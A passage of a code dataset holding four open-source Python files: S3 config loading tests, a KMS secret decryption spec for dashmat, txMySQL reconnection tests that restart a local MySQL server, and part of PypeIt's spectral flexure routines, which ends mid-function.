+{"text": "import json\nimport os\nimport unittest\nimport uuid\n\nimport boto3\n\nfrom helper import config\n\n\nclass ConfigDefaultTests(unittest.TestCase):\n\n def setUp(self):\n self.config = config.Config()\n\n def test_application(self):\n self.assertDictEqual(self.config.application, config.APPLICATION)\n\n def test_daemon(self):\n self.assertDictEqual(self.config.daemon, config.DAEMON)\n\n def test_logging(self):\n self.assertDictEqual(self.config.logging, config.LOGGING)\n\n\nclass RemoteConfigTests(unittest.TestCase):\n\n def setUp(self):\n self.value = {\n 'Application': {\n 'key': str(uuid.uuid4())\n },\n 'Daemon': {\n 'user': str(uuid.uuid4()),\n 'group': str(uuid.uuid4())\n },\n 'Logging': {\n 'disable_existing_loggers': False,\n 'incremental': True}\n }\n self.bucket = str(uuid.uuid4())\n client = boto3.client('s3', endpoint_url=os.environ['S3_ENDPOINT'])\n client.create_bucket(Bucket=self.bucket)\n client.put_object(\n Bucket=self.bucket, Key='test.json',\n Body=json.dumps(self.value),\n ACL='public-read')\n\n def test_loaded_config(self):\n cfg = config.Config('{}/{}/test.json'.format(\n os.environ['S3_ENDPOINT'], self.bucket))\n for key in self.value['Application'].keys():\n self.assertEqual(cfg.application[key],\n self.value['Application'][key])\n for key in self.value['Daemon'].keys():\n self.assertEqual(cfg.daemon[key],\n self.value['Daemon'][key])\n for key in self.value['Logging'].keys():\n self.assertEqual(cfg.logging[key],\n self.value['Logging'][key])\n\n def test_value_error_raised_for_missing_file(self):\n with self.assertRaises(ValueError):\n config.Config('{}/{}/{}.json'.format(os.environ['S3_ENDPOINT'],\n self.bucket, uuid.uuid4()))\n\n\nclass S3ConfigTests(RemoteConfigTests):\n\n def test_loaded_config(self):\n cfg = config.Config('s3://{}/test.json'.format(self.bucket))\n for key in self.value['Application'].keys():\n self.assertEqual(cfg.application[key],\n self.value['Application'][key])\n for key in self.value['Daemon'].keys():\n self.assertEqual(cfg.daemon[key],\n self.value['Daemon'][key])\n for key in self.value['Logging'].keys():\n self.assertEqual(cfg.logging[key],\n self.value['Logging'][key])\n\n def test_value_error_raised_for_missing_file(self):\n with self.assertRaises(ValueError):\n config.Config('s3://{}/{}.json'.format(self.bucket, uuid.uuid4()))\n", "source": "joshehlinger/helper", "license": "BSD-3-Clause"}
+{"text": "from dashmat.core_modules.base import Module\n\nfrom input_algorithms.errors import BadSpecValue\nfrom input_algorithms import spec_base as sb\nimport logging\nimport base64\n\nclass kms_secret_spec(sb.Spec):\n def normalise(self, meta, val):\n val = sb.dictionary_spec().normalise(meta, val)\n if \"plain\" in val:\n return val[\"plain\"]\n elif \"kms\" in val:\n val = sb.set_options(\n kms = sb.required(sb.string_spec())\n , location = sb.required(sb.string_spec())\n ).normalise(meta, val)\n return lambda: __import__(\"boto3\").client(\"kms\", val['location']).decrypt(CiphertextBlob=base64.b64decode(val['kms']))['Plaintext'].decode('utf-8')\n\nclass AmazonBase(Module):\n @classmethod\n def requirements(kls):\n return [\"boto3\"]\n\n @classmethod\n def register_configuration(kls):\n return {(0, \"kms_secrets\"): sb.dictof(sb.string_spec(), kms_secret_spec())}\n\n", "source": "realestate-com-au/dashmat", "license": "MIT"}
+{"text": "\"\"\"\nTest txMySQL against a local MySQL server\n\nThis test requires 'sudo' without a password, and expects a stock Ubuntu 10.04\nMySQL setup. It will start and stop MySQL and occasionally replace it with an\nevil daemon which absorbs packets.\n\nTODO: Check code coverage for every line, then manually any compound expression\nin a conditional to check that there is test case coverage for each case.\n\"\"\"\n\nfrom twisted.trial import unittest\nfrom twisted.internet import defer, reactor\nfrom twisted.internet.base import DelayedCall\nfrom twisted.internet.error import ConnectionDone\n\nDelayedCall.debug = False\nfrom txmysql import client\nfrom HybridUtils import AsyncExecCmds, sleep\nimport secrets\n\nclass MySQLClientTest(unittest.TestCase):\n\n @defer.inlineCallbacks\n def test_0004_cleanup_prepared_statements(self):\n \"\"\"\n Checks that when there are no pending or current operations that we\n disconnect and stay disconnected.\n You must set max_prepared_stmt_count = 100 in /etc/mysql/my.cnf for\n this to actually get tested.\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql()\n for i in range(200):\n if i % 100 == 0:\n print 'Done %i queries' % i\n res = yield conn.runQuery(\"select 1\")\n self.assertEquals(res, [[1]])\n conn.disconnect()\n\n @defer.inlineCallbacks\n def test_0005_query_timeout_stay_disconnected(self):\n \"\"\"\n Checks that when there are no pending or current operations that we\n disconnect and stay disconnected\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True, idle_timeout=2)\n res = yield conn.runQuery(\"select 1\")\n yield sleep(6)\n self.assertIdentical(conn.client, None)\n conn.disconnect()\n \n @defer.inlineCallbacks\n def test_0010_two_queries_disconnected(self):\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True, idle_timeout=1)\n yield conn.runQuery(\"select 1\")\n yield sleep(2)\n a = conn.runQuery(\"select 2\")\n b = conn.runQuery(\"select 3\")\n a, b = yield defer.gatherResults([a, b])\n self.assertEquals(a, [[2]])\n self.assertEquals(b, [[3]])\n self.assertEquals((yield conn.runQuery(\"select 4\")), [[4]])\n conn.disconnect()\n\n @defer.inlineCallbacks\n def test_0020_start_query_restart(self):\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True, idle_timeout=2)\n result = yield conn.runQuery(\"select 2\")\n #yield self._stop_mysql()\n #yield self._start_mysql()\n yield sleep(10)\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n def test_0030_escaping(self):\n try:\n client._escape(\"%s\", ())\n self.fail(\"that should have raised an exception\")\n except TypeError:\n pass\n\n try:\n client._escape(\"select * from baz baz baz\", (1, 2, 3))\n self.fail(\"that should have raised an exception\")\n except TypeError:\n pass\n\n result = client._escape(\"update foo set bar=%s where baz=%s or bash=%s\", (\"%s\", \"%%s\", 123))\n self.assertEquals(result, \"update foo set bar='%s' where baz='%%s' or bash='123'\")\n\n @defer.inlineCallbacks\n def test_0040_thrash(self):\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True)\n yield conn.runOperation(\"drop table if exists thrashtest\")\n yield conn.runOperation(\"create table thrashtest (id int)\")\n\n dlist = []\n for i in range(100):\n dlist.append(conn.runOperation(\"insert into thrashtest values (%s)\", [i]))\n yield defer.DeferredList(dlist)\n\n dlist = []\n for i in range(50):\n print \"Appending %i\" % i\n dlist.append(conn.runQuery(\"select sleep(0.1)\"))\n dlist.append(conn.runQuery(\"select * from thrashtest where id=%s\", [i]))\n\n yield sleep(3)\n\n print \"About to stop MySQL\"\n dstop = self._stop_mysql()\n def and_start(data):\n print \"About to start MySQL\"\n return self._start_mysql()\n dstop.addCallback(and_start)\n \n for i in range(50,100):\n print \"Appending %i\" % i\n dlist.append(conn.runQuery(\"select sleep(0.1)\"))\n dlist.append(conn.runQuery(\"select * from thrashtest where id=%s\", [i]))\n\n results = yield defer.DeferredList(dlist)\n print results\n\n conn.disconnect()\n #self.assertEquals(result, [[1]])\n\n\n @defer.inlineCallbacks\n def test_0050_test_initial_database_selection(self):\n \"\"\"\n 1. Start MySQL\n 2. Connect\n 3. Query - check result\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql()\n result = yield conn.runQuery(\"select * from foo\")\n conn.disconnect()\n self.assertEquals(result, [[1]])\n\n @defer.inlineCallbacks\n def test_0100_start_connect_query(self):\n \"\"\"\n 1. Start MySQL\n 2. Connect\n 3. Query - check result\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql()\n result = yield conn.runQuery(\"select 2\")\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def test_0200_stop_connect_query_start(self):\n \"\"\"\n 1. Connect, before MySQL is started\n 2. Start MySQL\n 3. Query - check result\n XXX The comment is correct but the code is wrong!\n \"\"\"\n conn = self._connect_mysql()\n d = conn.runQuery(\"select 2\") # Should get connection refused, because we're not connected right now\n yield self._start_mysql()\n result = yield d\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def test_0210_stop_connect_query_start_retry_on_error(self):\n \"\"\"\n 1. Connect, before MySQL is started\n 2. Start MySQL\n 3. Query - check result\n \"\"\"\n conn = self._connect_mysql(retry_on_error=True)\n d = conn.runQuery(\"select 2\")\n yield self._start_mysql()\n result = yield d\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def test_0211_stop_connect_query_start_retry_on_error_two_queries(self):\n \"\"\"\n 1. Connect, before MySQL is started\n 2. Start MySQL\n 3. Query - check result\n \"\"\"\n conn = self._connect_mysql(retry_on_error=True)\n d = conn.runQuery(\"select 2\")\n d2 = conn.runQuery(\"select 3\")\n yield self._start_mysql()\n result = yield d\n result2 = yield d2\n conn.disconnect()\n self.assertEquals(result, [[2]])\n self.assertEquals(result2, [[3]])\n\n @defer.inlineCallbacks\n def test_0300_start_idle_timeout(self):\n \"\"\"\n Connect, with evildaemon in place of MySQL\n Evildaemon stops in 5 seconds, which is longer than our idle timeout\n so the idle timeout should fire, disconnecting us.\n But because we have a query due, we reconnect and get the result.\n \"\"\"\n daemon_dfr = self._start_evildaemon(secs=10)\n conn = self._connect_mysql(idle_timeout=3, retry_on_error=True)\n d = conn.runQuery(\"select 2\")\n yield daemon_dfr\n yield self._start_mysql()\n result = yield d\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def test_0400_start_connect_long_query_timeout(self):\n \"\"\"\n Connect to the real MySQL, run a long-running query which exceeds the\n idle timeout, check that it times out and returns the appropriate\n Failure object (because we haven't set retry_on_error)\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(idle_timeout=3)\n try:\n result = yield conn.runQuery(\"select sleep(5)\")\n except Exception, e:\n print \"Caught exception %s\" % e\n self.assertTrue(isinstance(e, ConnectionDone))\n finally:\n conn.disconnect()\n \n @defer.inlineCallbacks\n def test_0500_retry_on_error(self):\n \"\"\"\n Start a couple of queries in parallel.\n Both of them should take 10 seconds, but restart the MySQL\n server after 5 seconds.\n Setting the connection and idle timeouts allows bad connections\n to fail.\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True)\n d1 = conn.runQuery(\"select sleep(7)\")\n d2 = conn.runQuery(\"select sleep(7)\")\n yield sleep(2)\n yield self._stop_mysql()\n yield self._start_mysql()\n result = yield defer.DeferredList([d1, d2])\n conn.disconnect()\n self.assertEquals(result, [(True, [[0]]), (True, [[0]])])\n\n @defer.inlineCallbacks\n def test_0550_its_just_one_thing_after_another_with_you(self):\n \"\"\"\n Sanity check that you can do one thing and then another thing.\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True)\n yield conn.runQuery(\"select 2\")\n yield conn.runQuery(\"select 2\")\n conn.disconnect()\n\n @defer.inlineCallbacks\n def test_0600_error_strings_test(self):\n \"\"\"\n This test causes MySQL to return what we consider a temporary local\n error. We do this by starting MySQL, querying a table, then physically\n removing MySQL's data files.\n\n This triggers MySQL to return a certain error code which we want to\n consider a temporary local error, which should result in a reconnection\n to MySQL.\n\n This is arguably the most application-specific behaviour in the txMySQL\n client library.\n\n \"\"\"\n res = yield AsyncExecCmds([\n \"\"\"sh -c '\n cd /var/lib/mysql/foo;\n chmod 0660 *;\n chown mysql:mysql *\n '\"\"\"], cmd_prefix=\"sudo \").getDeferred()\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True,\n temporary_error_strings=[\n \"Can't find file: './foo/foo.frm' (errno: 13)\",\n ])\n yield conn.selectDb(\"foo\")\n yield conn.runOperation(\"create database if not exists foo\")\n yield conn.runOperation(\"create database if not exists foo\")\n yield conn.runOperation(\"drop table if exists foo\")\n yield conn.runOperation(\"create table foo (id int)\")\n yield conn.runOperation(\"insert into foo set id=1\")\n result = yield conn.runQuery(\"select * from foo\")\n self.assertEquals(result, [[1]])\n\n # Now the tricky bit, we have to force MySQL to yield the error message.\n res = yield AsyncExecCmds([\n \"\"\"sh -c '\n cd /var/lib/mysql/foo;\n chmod 0600 *;\n chown root:root *'\n \"\"\"], cmd_prefix=\"sudo \").getDeferred()\n print res\n \n yield conn.runOperation(\"flush tables\") # cause the files to get re-opened\n d = conn.runQuery(\"select * from foo\") # This will spin until we fix the files, so do that pronto\n yield sleep(1)\n res = yield AsyncExecCmds([\n \"\"\"sh -c '\n cd /var/lib/mysql/foo;\n chmod 0660 *;\n chown mysql:mysql *\n '\"\"\"], cmd_prefix=\"sudo \").getDeferred()\n print res\n result = yield d\n self.assertEquals(result, [[1]])\n conn.disconnect()\n \n # Utility functions:\n\n def _stop_mysql(self):\n return AsyncExecCmds(['stop mysql'], cmd_prefix='sudo ').getDeferred()\n \n def _start_mysql(self):\n return AsyncExecCmds(['start mysql'], cmd_prefix='sudo ').getDeferred()\n \n def _start_evildaemon(self, secs):\n \"\"\"\n Simulates a MySQL server which accepts connections but has mysteriously\n stopped returning responses at all, i.e. it's just /dev/null\n \"\"\"\n return AsyncExecCmds(['python ../test/evildaemon.py %s' % str(secs)], cmd_prefix='sudo ').getDeferred()\n \n def setUp(self):\n \"\"\"\n Stop MySQL before each test\n \"\"\"\n return self._stop_mysql()\n\n def tearDown(self):\n \"\"\"\n Stop MySQL before each test\n \"\"\"\n reactor.disconnectAll()\n\n def _connect_mysql(self, **kw):\n return client.MySQLConnection('127.0.0.1', 'root', secrets.MYSQL_ROOT_PASS, 'foo', **kw)\n", "source": "Dev0n/txMySQL", "license": "BSD-2-Clause-FreeBSD"}
+{"text": "\"\"\" Module for flexure routines\n\n.. include common links, assuming primary doc root is up one directory\n.. include:: ../include/links.rst\n\n\"\"\"\nimport inspect\n\nimport numpy as np\nimport copy\nfrom matplotlib import pyplot as plt\nfrom matplotlib import gridspec\n\nfrom astropy import stats\nfrom astropy import units\nimport scipy.signal\nimport scipy.optimize as opt\nfrom scipy import interpolate\n\nfrom linetools.spectra import xspectrum1d\n\nfrom pypeit import msgs\nfrom pypeit import utils\nfrom pypeit.display import display\nfrom pypeit.core import arc\nfrom pypeit.core import qa\nfrom pypeit.core import fitting\n\nfrom IPython import embed\n\n\ndef spat_flexure_shift(sciimg, slits, debug=False, maxlag=20):\n \"\"\"\n Calculate a rigid flexure shift in the spatial dimension\n between the slitmask and the science image.\n\n It is *important* to use original=True when defining the\n slitmask as everything should be relative to the initial slits\n\n Otherwise, the WaveTilts could get out of sync with science images\n\n Args:\n sciimg (`numpy.ndarray`_):\n slits (:class:`pypeit.slittrace.SlitTraceSet`):\n maxlag (:obj:`int`, optional):\n Maximum flexure searched for\n\n Returns:\n float: The spatial flexure shift relative to the initial slits\n\n \"\"\"\n # Mask -- Includes short slits and those excluded by the user (e.g. ['rdx']['slitspatnum'])\n slitmask = slits.slit_img(initial=True, exclude_flag=slits.bitmask.exclude_for_flexure)\n\n _sciimg = sciimg if slitmask.shape == sciimg.shape \\\n else arc.resize_mask2arc(slitmask.shape, sciimg) \n onslits = slitmask > -1\n corr_slits = onslits.astype(float).flatten()\n\n # Compute\n mean_sci, med_sci, stddev_sci = stats.sigma_clipped_stats(_sciimg[onslits])\n thresh = med_sci + 5.0*stddev_sci\n corr_sci = np.fmin(_sciimg.flatten(), thresh)\n\n lags, xcorr = utils.cross_correlate(corr_sci, corr_slits, maxlag)\n xcorr_denom = np.sqrt(np.sum(corr_sci*corr_sci)*np.sum(corr_slits*corr_slits))\n xcorr_norm = xcorr / xcorr_denom\n # TODO -- Generate a QA plot\n tampl_true, tampl, pix_max, twid, centerr, ww, arc_cont, nsig \\\n = arc.detect_lines(xcorr_norm, sigdetect=3.0, fit_frac_fwhm=1.5, fwhm=5.0,\n cont_frac_fwhm=1.0, cont_samp=30, nfind=1, debug=debug)\n # No peak? -- e.g. data fills the entire detector\n if len(tampl) == 0:\n msgs.warn('No peak found in spatial flexure. Assuming there is none..')\n if debug:\n embed(header='68 of flexure')\n return 0.\n\n # Find the peak\n xcorr_max = np.interp(pix_max, np.arange(lags.shape[0]), xcorr_norm)\n lag_max = np.interp(pix_max, np.arange(lags.shape[0]), lags)\n msgs.info('Spatial flexure measured: {}'.format(lag_max[0]))\n\n if debug:\n plt.figure(figsize=(14, 6))\n plt.plot(lags, xcorr_norm, color='black', drawstyle='steps-mid', lw=3, label='x-corr', linewidth=1.0)\n plt.plot(lag_max[0], xcorr_max[0], 'g+', markersize=6.0, label='peak')\n plt.title('Best shift = {:5.3f}'.format(lag_max[0]) + ', corr_max = {:5.3f}'.format(xcorr_max[0]))\n plt.legend()\n plt.show()\n\n #tslits_shift = trace_slits.shift_slits(tslits_dict, lag_max)\n # Now translate the tilts\n\n #slitmask_shift = pixels.tslits2mask(tslits_shift)\n #slitmask_shift = slits.slit_img(flexure=lag_max[0])\n if debug:\n # Now translate the slits in the tslits_dict\n all_left_flexure, all_right_flexure, mask = slits.select_edges(flexure=lag_max[0])\n gpm = mask == 0\n viewer, ch = display.show_image(_sciimg)\n #display.show_slits(viewer, ch, left_flexure[:,gpm], right_flexure)[:,gpm]#, slits.id) #, args.det)\n embed(header='83 of flexure.py')\n\n return lag_max[0]\n\n\n\ndef load_sky_spectrum(sky_file):\n \"\"\"\n Load a sky spectrum into an XSpectrum1D object\n\n ..todo -- Try to eliminate the XSpectrum1D dependancy\n\n Args:\n sky_file: str\n\n Returns:\n sky_spec: XSpectrum1D\n spectrum\n \"\"\"\n return xspectrum1d.XSpectrum1D.from_file(sky_file)\n\n\ndef spec_flex_shift(obj_skyspec, arx_skyspec, arx_lines, mxshft=20):\n \"\"\" Calculate shift between object sky spectrum and archive sky spectrum\n\n Args:\n obj_skyspec (:class:`linetools.spectra.xspectrum1d.XSpectrum1d`):\n Spectrum of the sky related to our object\n arx_skyspec (:class:`linetools.spectra.xspectrum1d.XSpectrum1d`):\n Archived sky spectrum\n arx_lines (tuple): Line information returned by arc.detect_lines for\n the Archived sky spectrum\n mxshft (float, optional):\n Maximum allowed shift from flexure; note there are cases that\n have been known to exceed even 30 pixels..\n\n Returns:\n dict: Contains flexure info\n \"\"\"\n\n # TODO None of these routines should have dependencies on XSpectrum1d!\n\n # Determine the brightest emission lines\n msgs.warn(\"If we use Paranal, cut down on wavelength early on\")\n arx_amp, arx_amp_cont, arx_cent, arx_wid, _, arx_w, arx_yprep, nsig \\\n = arx_lines\n obj_amp, obj_amp_cont, obj_cent, obj_wid, _, obj_w, obj_yprep, nsig_obj \\\n = arc.detect_lines(obj_skyspec.flux.value)\n\n # Keep only 5 brightest amplitude lines (xxx_keep is array of\n # indices within arx_w of the 5 brightest)\n arx_keep = np.argsort(arx_amp[arx_w])[-5:]\n obj_keep = np.argsort(obj_amp[obj_w])[-5:]\n\n # Calculate wavelength (Angstrom per pixel)\n arx_disp = np.append(arx_skyspec.wavelength.value[1]-arx_skyspec.wavelength.value[0],\n arx_skyspec.wavelength.value[1:]-arx_skyspec.wavelength.value[:-1])\n obj_disp = np.append(obj_skyspec.wavelength.value[1]-obj_skyspec.wavelength.value[0],\n obj_skyspec.wavelength.value[1:]-obj_skyspec.wavelength.value[:-1])\n\n # Calculate resolution (lambda/delta lambda_FWHM)..maybe don't need\n # this? can just use sigmas\n arx_idx = (arx_cent+0.5).astype(np.int)[arx_w][arx_keep] # The +0.5 is for rounding\n arx_res = arx_skyspec.wavelength.value[arx_idx]/\\\n (arx_disp[arx_idx]*(2*np.sqrt(2*np.log(2)))*arx_wid[arx_w][arx_keep])\n obj_idx = (obj_cent+0.5).astype(np.int)[obj_w][obj_keep] # The +0.5 is for rounding\n obj_res = obj_skyspec.wavelength.value[obj_idx]/ \\\n (obj_disp[obj_idx]*(2*np.sqrt(2*np.log(2)))*obj_wid[obj_w][obj_keep])\n\n if not np.all(np.isfinite(obj_res)):\n msgs.warn('Failed to measure the resolution of the object spectrum, likely due to error '\n 'in the wavelength image.')\n return None\n msgs.info(\"Resolution of Archive={0} and Observation={1}\".format(np.median(arx_res),\n np.median(obj_res)))\n\n # Determine sigma of gaussian for smoothing\n arx_sig2 = np.power(arx_disp[arx_idx]*arx_wid[arx_w][arx_keep], 2)\n obj_sig2 = np.power(obj_disp[obj_idx]*obj_wid[obj_w][obj_keep], 2)\n\n arx_med_sig2 = np.median(arx_sig2)\n obj_med_sig2 = np.median(obj_sig2)\n\n if obj_med_sig2 >= arx_med_sig2:\n smooth_sig = np.sqrt(obj_med_sig2-arx_med_sig2) # Ang\n smooth_sig_pix = smooth_sig / np.median(arx_disp[arx_idx])\n arx_skyspec = arx_skyspec.gauss_smooth(smooth_sig_pix*2*np.sqrt(2*np.log(2)))\n else:\n msgs.warn(\"Prefer archival sky spectrum to have higher resolution\")\n smooth_sig_pix = 0.\n msgs.warn(\"New Sky has higher resolution than Archive. Not smoothing\")\n #smooth_sig = np.sqrt(arx_med_sig**2-obj_med_sig**2)\n\n #Determine region of wavelength overlap\n min_wave = max(np.amin(arx_skyspec.wavelength.value), np.amin(obj_skyspec.wavelength.value))\n max_wave = min(np.amax(arx_skyspec.wavelength.value), np.amax(obj_skyspec.wavelength.value))\n\n #Smooth higher resolution spectrum by smooth_sig (flux is conserved!)\n# if np.median(obj_res) >= np.median(arx_res):\n# msgs.warn(\"New Sky has higher resolution than Archive. Not smoothing\")\n #obj_sky_newflux = ndimage.gaussian_filter(obj_sky.flux, smooth_sig)\n# else:\n #tmp = ndimage.gaussian_filter(arx_sky.flux, smooth_sig)\n# arx_skyspec = arx_skyspec.gauss_smooth(smooth_sig_pix*2*np.sqrt(2*np.log(2)))\n #arx_sky.flux = ndimage.gaussian_filter(arx_sky.flux, smooth_sig)\n\n # Define wavelengths of overlapping spectra\n keep_idx = np.where((obj_skyspec.wavelength.value>=min_wave) &\n (obj_skyspec.wavelength.value<=max_wave))[0]\n #keep_wave = [i for i in obj_sky.wavelength.value if i>=min_wave if i<=max_wave]\n\n #Rebin both spectra onto overlapped wavelength range\n if len(keep_idx) <= 50:\n msgs.warn(\"Not enough overlap between sky spectra\")\n return None\n\n # rebin onto object ALWAYS\n keep_wave = obj_skyspec.wavelength[keep_idx]\n arx_skyspec = arx_skyspec.rebin(keep_wave)\n obj_skyspec = obj_skyspec.rebin(keep_wave)\n # Trim edges (rebinning is junk there)\n arx_skyspec.data['flux'][0,:2] = 0.\n arx_skyspec.data['flux'][0,-2:] = 0.\n obj_skyspec.data['flux'][0,:2] = 0.\n obj_skyspec.data['flux'][0,-2:] = 0.\n\n # Set minimum to 0. For bad rebinning and for pernicious extractions\n obj_skyspec.data['flux'][0,:] = np.maximum(obj_skyspec.data['flux'][0,:], 0.)\n arx_skyspec.data['flux'][0,:] = np.maximum(arx_skyspec.data['flux'][0,:], 0.)\n\n # Normalize spectra to unit average sky count\n norm = np.sum(obj_skyspec.flux.value)/obj_skyspec.npix\n norm2 = np.sum(arx_skyspec.flux.value)/arx_skyspec.npix\n if norm <= 0:\n msgs.warn(\"Bad normalization of object in flexure algorithm\")\n msgs.warn(\"Will try the median\")\n norm = np.median(obj_skyspec.flux.value)\n if norm <= 0:\n msgs.warn(\"Improper sky spectrum for flexure. Is it too faint??\")\n return None\n if norm2 <= 0:\n msgs.warn('Bad normalization of archive in flexure. You are probably using wavelengths '\n 'well beyond the archive.')\n return None\n obj_skyspec.flux = obj_skyspec.flux / norm\n arx_skyspec.flux = arx_skyspec.flux / norm2\n\n # Deal with bad pixels\n msgs.work(\"Need to mask bad pixels\")\n\n # Deal with underlying continuum\n msgs.work(\"Consider taking median first [5 pixel]\")\n everyn = obj_skyspec.npix // 20\n pypeitFit_obj, _ = fitting.iterfit(obj_skyspec.wavelength.value, obj_skyspec.flux.value,\n nord = 3, kwargs_bspline={'everyn': everyn}, kwargs_reject={'groupbadpix':True,'maxrej':1},\n maxiter = 15, upper = 3.0, lower = 3.0)\n obj_sky_cont, _ = pypeitFit_obj.value(obj_skyspec.wavelength.value)\n\n obj_sky_flux = obj_skyspec.flux.value - obj_sky_cont\n pypeitFit_sky, _ = fitting.iterfit(arx_skyspec.wavelength.value, arx_skyspec.flux.value,\n nord = 3, kwargs_bspline={'everyn': everyn}, kwargs_reject={'groupbadpix':True,'maxrej':1},\n maxiter = 15, upper = 3.0, lower = 3.0)\n arx_sky_cont, _ = pypeitFit_sky.value(arx_skyspec.wavelength.value)\n arx_sky_flux = arx_skyspec.flux.value - arx_sky_cont\n\n # Consider sharpness filtering (e.g. LowRedux)\n msgs.work(\"Consider taking median first [5 pixel]\")\n\n #Cross correlation of spectra\n #corr = np.correlate(arx_skyspec.flux, obj_skyspec.flux, \"same\")\n corr = np.correlate(arx_sky_flux, obj_sky_flux, \"same\")\n\n #Create array around the max of the correlation function for fitting for subpixel max\n # Restrict to pixels within maxshift of zero lag\n lag0 = corr.size//2\n #mxshft = settings.argflag['reduce']['flexure']['maxshift']\n max_corr = np.argmax(corr[lag0-mxshft:lag0+mxshft]) + lag0-mxshft\n subpix_grid = np.linspace(max_corr-3., max_corr+3., 7)\n\n #Fit a 2-degree polynomial to peak of correlation function. JFH added this if/else to not crash for bad slits\n if np.any(np.isfinite(corr[subpix_grid.astype(np.int)])):\n fit = fitting.PypeItFit(xval=subpix_grid, yval=corr[subpix_grid.astype(np.int)],\n func='polynomial', order=np.atleast_1d(2))\n fit.fit()\n success = True\n max_fit = -0.5 * fit.fitc[1] / fit.fitc[2]\n else:\n fit = fitting.PypeItFit(xval=subpix_grid, yval=0.0*subpix_grid,\n func='polynomial', order=np.atleast_1d(2))\n fit.fit()\n success = False\n max_fit = 0.0\n msgs.warn('Flexure compensation failed for one of your objects')\n\n #Calculate and apply shift in wavelength\n shift = float(max_fit)-lag0\n msgs.info(\"Flexure correction of {:g} pixels\".format(shift))\n #model = (fit[2]*(subpix_grid**2.))+(fit[1]*subpix_grid)+fit[0]\n\n return dict(polyfit=fit, shift=shift, subpix=subpix_grid,\n corr=corr[subpix_grid.astype(np.int)], sky_spec=obj_skyspec, arx_spec=arx_skyspec,\n corr_cen=corr.size/2, smooth=smooth_sig_pix, success=success)\n\n\ndef flexure_interp(shift, wave):\n \"\"\"\n Perform interpolation on wave given a shift in pixels\n\n Args:\n shift (float):\n Shift in pixels\n wave (`numpy.ndarray`_):\n extracted wave of size nspec\n wavein (`numpy.ndarray`_, optional):\n Apply the shift to this array of wavelengths\n Returns:\n `numpy.ndarray`_: Wavelength scale corrected for spectral flexure\n\n \"\"\"\n npix = wave.size\n x = np.linspace(0., 1., npix)\n f = interpolate.interp1d(x, wave, bounds_error=False, fill_value=\"extrapolate\")\n twave = f(x + shift / (npix - 1))\n return twave\n\n\ndef spec_flexure_slit(slits, slitord, slit_bpm, sky_file, method=\"boxcar\", specobjs=None,\n slit_specs=None, mxshft=None):\n \"\"\"Calculate the spectral flexure for every slit (global) or object (local)\n\n Args:\n slits (:class:`~pypeit.slittrace.SlitTraceSet`):\n Slit trace set\n slitord (`numpy.ndarray`_):\n Array of slit/order numbers\n slit_bpm (`numpy.ndarray`_):\n True = masked slit\n sky_file (str):\n Sky file\n method (:obj:`str`, optional):\n Two methods are available:\n - 'boxcar': Recommended for object extractions. This\n method uses the boxcar extracted sky and wavelength\n spectra from the input specobjs\n - 'slitcen': Recommended when no objects are being\n extracted. This method uses a spectrum (stored in\n slitspecs) that is extracted from the center of\n each slit.\n specobjs (:class:`~pypeit.specobjs.Specobjs`, optional):\n Spectral extractions\n slit_specs (list, optional):\n A list of linetools.xspectrum1d, one for each slit. The spectra stored in\n this list are sky spectra, extracted from the center of each slit.\n mxshft (int, optional):\n Passed to flex_shift()\n\n Returns:\n :obj:`list`: A list of :obj:`dict` objects containing flexure\n results of each slit. This is filled with a basically empty\n dict if the slit is skipped.\n \"\"\"\n sv_fdict = None\n msgs.work(\"Consider doing 2 passes in flexure as in LowRedux\")\n\n # Determine the method\n slit_cen = True if (specobjs is None) or (method == \"slitcen\") else False\n\n # Load Archive. Save the line information to avoid the performance hit from calling it on the archive sky spectrum\n # multiple times\n sky_spectrum = load_sky_spectrum(sky_file)\n sky_lines = arc.detect_lines(sky_spectrum.flux.value)\n\n nslits = slits.nslits\n gpm = np.logical_not(slit_bpm)\n gdslits = np.where(gpm)[0]\n\n # Initialise the flexure list for each slit\n flex_list = []\n # Slit/objects to come back to\n return_later_sobjs = []\n\n # Loop over slits, and then over objects\n for islit in range(nslits):\n msgs.info(\"Working on spectral flexure of slit: {:d}\".format(islit))\n\n # Reset\n flex_dict = dict(polyfit=[], shift=[], subpix=[], corr=[],\n corr_cen=[], spec_file=sky_file, smooth=[],\n arx_spec=[], sky_spec=[], method=[])\n\n # If no objects on this slit append an empty dictionary\n if islit not in gdslits:\n flex_list.append(flex_dict.copy())\n continue\n\n if slit_cen:\n sky_wave = slit_specs[islit].wavelength.value\n sky_flux = slit_specs[islit].flux.value\n\n # Calculate the shift\n fdict = spec_flex_shift(slit_specs[islit], sky_spectrum, sky_lines, mxshft=mxshft)\n # Failed?\n if fdict is not None:\n # Update dict\n for key in ['polyfit', 'shift', 'subpix', 'corr', 'corr_cen', 'smooth', 'arx_spec']:\n flex_dict[key].append(fdict[key])\n # Interpolate\n sky_wave_new = flexure_interp(fdict['shift'], sky_wave)\n flex_dict['sky_spec'].append(xspectrum1d.XSpectrum1D.from_tuple((sky_wave_new, sky_flux)))\n flex_dict['method'].append(\"slitcen\")\n else:\n i_slitord = slitord[islit]\n indx = specobjs.slitorder_indices(i_slitord)\n this_specobjs = specobjs[indx]\n # Loop through objects\n for ss, sobj in enumerate(this_specobjs):\n if sobj is None:\n continue\n if sobj['BOX_WAVE'] is None: #len(specobj._data.keys()) == 1: # Nothing extracted; only the trace exists\n continue\n msgs.info(\"Working on flexure for object # {:d}\".format(sobj.OBJID) + \"in slit # {:d}\".format(islit))\n\n # Using boxcar\n sky_wave = sobj.BOX_WAVE\n 